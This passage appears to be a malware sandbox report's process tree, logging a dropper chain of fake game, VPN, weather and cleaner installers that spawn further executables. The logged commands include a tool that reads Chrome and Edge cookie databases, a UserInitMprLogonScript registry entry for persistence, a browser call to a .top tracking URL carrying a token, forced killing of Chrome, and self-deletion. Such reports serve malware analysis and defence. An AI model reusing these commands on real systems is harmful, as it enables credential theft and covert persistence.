                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 984
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:5484
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1020
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:5756
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1456
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:5940
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1496
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:5208
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1500
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:6116
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1688
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:6136
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1488
                                                                                                  3⤵
                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                  • Program crash
                                                                                                  PID:6064
                                                                                              • C:\Users\Admin\Documents\MWJd3mPPIlWyLa2RpIzVqQrH.exe
                                                                                                "C:\Users\Admin\Documents\MWJd3mPPIlWyLa2RpIzVqQrH.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4492
                                                                                              • C:\Users\Admin\Documents\5vpgJBjyfbnbMk1YeKUgbWC8.exe
                                                                                                "C:\Users\Admin\Documents\5vpgJBjyfbnbMk1YeKUgbWC8.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4612
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 660
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4812
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 716
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4728
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 664
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:4544
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 668
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:2032
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1160
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4212
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1120
                                                                                                  3⤵
                                                                                                  • Program crash
                                                                                                  PID:992
                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 1112
                                                                                                  3⤵
                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                  • Program crash
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4736
                                                                                              • C:\Users\Admin\Documents\Xdb1fFnJhrYC1plDJxt3VPoy.exe
                                                                                                "C:\Users\Admin\Documents\Xdb1fFnJhrYC1plDJxt3VPoy.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4948
                                                                                              • C:\Users\Admin\Documents\yY2qmC4iOLBQc_v9oIAFRu3F.exe
                                                                                                "C:\Users\Admin\Documents\yY2qmC4iOLBQc_v9oIAFRu3F.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Drops file in Program Files directory
                                                                                                PID:4672
                                                                                                • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                                                                  "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:4832
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:3180
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                    4⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:5912
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                    4⤵
                                                                                                      PID:2704
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                      4⤵
                                                                                                        PID:2520
                                                                                                    • C:\Program Files (x86)\Company\NewProduct\customer3.exe
                                                                                                      "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:4512
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                        4⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:2188
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                        4⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:6016
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                        4⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:5524
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                        4⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:5356
                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                        C:\Windows\system32\WerFault.exe -u -p 4512 -s 1536
                                                                                                        4⤵
                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                        • Program crash
                                                                                                        PID:1220
                                                                                                    • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                      "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Checks whether UAC is enabled
                                                                                                      • Drops file in Program Files directory
                                                                                                      PID:5040
                                                                                                  • C:\Users\Admin\Documents\8md1vxAwe7Y0ndRiBYaafLjk.exe
                                                                                                    "C:\Users\Admin\Documents\8md1vxAwe7Y0ndRiBYaafLjk.exe"
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Checks whether UAC is enabled
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:492
                                                                                                  • C:\Users\Admin\Documents\DvMwGNgUky7bXWwCd2_zhu5C.exe
                                                                                                    "C:\Users\Admin\Documents\DvMwGNgUky7bXWwCd2_zhu5C.exe"
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:184
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-6BVRA.tmp\DvMwGNgUky7bXWwCd2_zhu5C.tmp
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-6BVRA.tmp\DvMwGNgUky7bXWwCd2_zhu5C.tmp" /SL5="$40266,138429,56832,C:\Users\Admin\Documents\DvMwGNgUky7bXWwCd2_zhu5C.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Loads dropped DLL
                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                      PID:4372
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-33Q2P.tmp\Setup.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-33Q2P.tmp\Setup.exe" /Verysilent
                                                                                                        4⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Drops file in Program Files directory
                                                                                                        PID:4444
                                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe
                                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\LGCH2-401_2021-08-18_14-40.exe"
                                                                                                          5⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:5884
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 752
                                                                                                            6⤵
                                                                                                            • Program crash
                                                                                                            PID:6060
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 776
                                                                                                            6⤵
                                                                                                            • Program crash
                                                                                                            PID:5964
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5884 -s 800
                                                                                                            6⤵
                                                                                                            • Program crash
                                                                                                            PID:7144
                                                                                                        • C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
                                                                                                          "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
                                                                                                          5⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:5952
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-2P2NR.tmp\Inlog.tmp
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-2P2NR.tmp\Inlog.tmp" /SL5="$20254,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
                                                                                                            6⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Loads dropped DLL
                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                            PID:5280
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-LRHL3.tmp\Setup.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-LRHL3.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
                                                                                                              7⤵
                                                                                                                PID:7400
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-8GTL4.tmp\Setup.tmp
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-8GTL4.tmp\Setup.tmp" /SL5="$4028A,17369807,721408,C:\Users\Admin\AppData\Local\Temp\is-LRHL3.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
                                                                                                                  8⤵
                                                                                                                  • Loads dropped DLL
                                                                                                                  • Drops file in Program Files directory
                                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                                  PID:7664
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-7TON9.tmp\{app}\microsoft.cab -F:* %ProgramData%
                                                                                                                    9⤵
                                                                                                                      PID:5556
                                                                                                                      • C:\Windows\SysWOW64\expand.exe
                                                                                                                        expand C:\Users\Admin\AppData\Local\Temp\is-7TON9.tmp\{app}\microsoft.cab -F:* C:\ProgramData
                                                                                                                        10⤵
                                                                                                                        • Drops file in Windows directory
                                                                                                                        PID:7108
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
                                                                                                                      9⤵
                                                                                                                        PID:3508
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
                                                                                                                          10⤵
                                                                                                                            PID:3800
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "cmd.exe" /c start http://trecker33442aq.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
                                                                                                                          9⤵
                                                                                                                          • Checks computer location settings
                                                                                                                          PID:1176
                                                                                                                        • C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
                                                                                                                          "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
                                                                                                                          9⤵
                                                                                                                          • Loads dropped DLL
                                                                                                                          PID:8416
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-7TON9.tmp\{app}\vdi_compiler.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-7TON9.tmp\{app}\vdi_compiler"
                                                                                                                          9⤵
                                                                                                                            PID:660
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-7TON9.tmp\{app}\vdi_compiler.exe"
                                                                                                                              10⤵
                                                                                                                                PID:2884
                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                  ping localhost -n 4
                                                                                                                                  11⤵
                                                                                                                                  • Runs ping.exe
                                                                                                                                  PID:8292
                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:6068
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-6A3OQ.tmp\WEATHER Manager.tmp
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-6A3OQ.tmp\WEATHER Manager.tmp" /SL5="$401DE,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
                                                                                                                        6⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Loads dropped DLL
                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                        PID:5540
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-5TLP3.tmp\Setup.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-5TLP3.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
                                                                                                                          7⤵
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Enumerates connected drives
                                                                                                                          • Modifies system certificate store
                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                          PID:7324
                                                                                                                          • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                            "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-5TLP3.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-5TLP3.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629289462 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
                                                                                                                            8⤵
                                                                                                                              PID:8524
                                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
                                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:6108
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-U04EQ.tmp\VPN.tmp
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-U04EQ.tmp\VPN.tmp" /SL5="$20256,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
                                                                                                                          6⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                          PID:5616
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-1O307.tmp\Setup.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-1O307.tmp\Setup.exe" /silent /subid=720
                                                                                                                            7⤵
                                                                                                                              PID:7972
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-BQEBS.tmp\Setup.tmp
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-BQEBS.tmp\Setup.tmp" /SL5="$30288,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-1O307.tmp\Setup.exe" /silent /subid=720
                                                                                                                                8⤵
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Drops file in Program Files directory
                                                                                                                                • Modifies registry class
                                                                                                                                • Modifies system certificate store
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                PID:8052
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
                                                                                                                                  9⤵
                                                                                                                                    PID:8392
                                                                                                                                    • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                      tapinstall.exe remove tap0901
                                                                                                                                      10⤵
                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                      PID:8436
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
                                                                                                                                    9⤵
                                                                                                                                      PID:8864
                                                                                                                                      • C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
                                                                                                                                        tapinstall.exe install OemVista.inf tap0901
                                                                                                                                        10⤵
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                        PID:7732
                                                                                                                                    • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                      "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
                                                                                                                                      9⤵
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      PID:3416
                                                                                                                                    • C:\Program Files (x86)\MaskVPN\mask_svc.exe
                                                                                                                                      "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
                                                                                                                                      9⤵
                                                                                                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                      PID:2184
                                                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe
                                                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\md7_7dfj.exe"
                                                                                                                              5⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Checks whether UAC is enabled
                                                                                                                              • Drops file in Program Files directory
                                                                                                                              PID:5192
                                                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
                                                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
                                                                                                                              5⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:5360
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                6⤵
                                                                                                                                  PID:6836
                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                    taskkill /f /im chrome.exe
                                                                                                                                    7⤵
                                                                                                                                    • Kills process with taskkill
                                                                                                                                    PID:6916
                                                                                                                              • C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
                                                                                                                                "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
                                                                                                                                5⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:5560
                                                                                                                                • C:\Users\Admin\AppData\Roaming\5918109.exe
                                                                                                                                  "C:\Users\Admin\AppData\Roaming\5918109.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:5020
                                                                                                                                • C:\Users\Admin\AppData\Roaming\4164647.exe
                                                                                                                                  "C:\Users\Admin\AppData\Roaming\4164647.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious behavior: SetClipboardViewer
                                                                                                                                  PID:5744
                                                                                                                                • C:\Users\Admin\AppData\Roaming\4417789.exe
                                                                                                                                  "C:\Users\Admin\AppData\Roaming\4417789.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:6320
                                                                                                                                • C:\Users\Admin\AppData\Roaming\4278010.exe
                                                                                                                                  "C:\Users\Admin\AppData\Roaming\4278010.exe"
                                                                                                                                  6⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:6240
                                                                                                                              • C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
                                                                                                                                "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
                                                                                                                                5⤵
                                                                                                                                  PID:5636
                                                                                                                                  • C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
                                                                                                                                    "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
                                                                                                                                    6⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:4520
                                                                                                                                • C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
                                                                                                                                  "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                                                                                  5⤵
                                                                                                                                    PID:5420
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-UEE73.tmp\MediaBurner2.tmp
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-UEE73.tmp\MediaBurner2.tmp" /SL5="$1030E,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                                                                                      6⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      PID:5032
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-RG9UP.tmp\3377047_logo_media.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-RG9UP.tmp\3377047_logo_media.exe" /S /UID=burnerch2
                                                                                                                                        7⤵
                                                                                                                                          PID:6276
                                                                                                                                          • C:\Program Files\MSBuild\XECLZJAKZJ\ultramediaburner.exe
                                                                                                                                            "C:\Program Files\MSBuild\XECLZJAKZJ\ultramediaburner.exe" /VERYSILENT
                                                                                                                                            8⤵
                                                                                                                                              PID:6208
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-4QFNF.tmp\ultramediaburner.tmp
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-4QFNF.tmp\ultramediaburner.tmp" /SL5="$30294,281924,62464,C:\Program Files\MSBuild\XECLZJAKZJ\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                9⤵
                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                PID:7852
                                                                                                                                                • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                  "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                  10⤵
                                                                                                                                                    PID:7916
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7e-dd116-ba9-f80ac-43521baecbf98\Gaemataeshani.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7e-dd116-ba9-f80ac-43521baecbf98\Gaemataeshani.exe"
                                                                                                                                                8⤵
                                                                                                                                                • Checks computer location settings
                                                                                                                                                PID:772
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\e8-c9bea-ea6-ed5b1-d27f02c38b513\Miruxatabu.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\e8-c9bea-ea6-ed5b1-d27f02c38b513\Miruxatabu.exe"
                                                                                                                                                8⤵
                                                                                                                                                  PID:3504
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bu1exqmo.2tv\GcleanerEU.exe /eufive & exit
                                                                                                                                                    9⤵
                                                                                                                                                      PID:6836
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\bu1exqmo.2tv\GcleanerEU.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\bu1exqmo.2tv\GcleanerEU.exe /eufive
                                                                                                                                                        10⤵
                                                                                                                                                          PID:8200
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\j0cdybvr.fey\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                        9⤵
                                                                                                                                                          PID:8460
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\j0cdybvr.fey\installer.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\j0cdybvr.fey\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                            10⤵
                                                                                                                                                              PID:8924
                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zqxe0sbg.plp\ufgaa.exe & exit
                                                                                                                                                            9⤵
                                                                                                                                                              PID:8780
                                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fdlhlejl.wse\anyname.exe & exit
                                                                                                                                                              9⤵
                                                                                                                                                                PID:8320
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\fdlhlejl.wse\anyname.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\fdlhlejl.wse\anyname.exe
                                                                                                                                                                  10⤵
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:4544
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\fdlhlejl.wse\anyname.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\fdlhlejl.wse\anyname.exe" -q
                                                                                                                                                                    11⤵
                                                                                                                                                                      PID:8600
                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3vbsshvs.egm\gcleaner.exe /mixfive & exit
                                                                                                                                                                  9⤵
                                                                                                                                                                    PID:8968
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3vbsshvs.egm\gcleaner.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\3vbsshvs.egm\gcleaner.exe /mixfive
                                                                                                                                                                      10⤵
                                                                                                                                                                        PID:8172
                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3di1wj4c.u5s\autosubplayer.exe /S & exit
                                                                                                                                                                      9⤵
                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                      PID:8892
                                                                                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
                                                                                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
                                                                                                                                                              5⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                              • Enumerates connected drives
                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                              PID:6008
                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
